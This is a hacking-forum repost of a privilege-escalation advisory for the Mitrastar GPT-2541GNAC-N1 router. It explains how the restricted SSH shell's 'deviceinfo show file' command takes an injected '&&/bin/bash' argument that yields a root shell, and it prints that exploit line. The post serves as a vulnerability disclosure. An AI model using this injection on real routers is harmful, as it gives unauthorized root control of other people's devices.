Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Mitrastar GPT-2541GNAC-N1 - Privilege escalation

 Share


Recommended Posts

# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md

Description:

----------

# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:


Exploit:
--------

> deviceinfo show file &&/bin/bash

# This command will spawn a full interoperable bash console with root privileges.
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...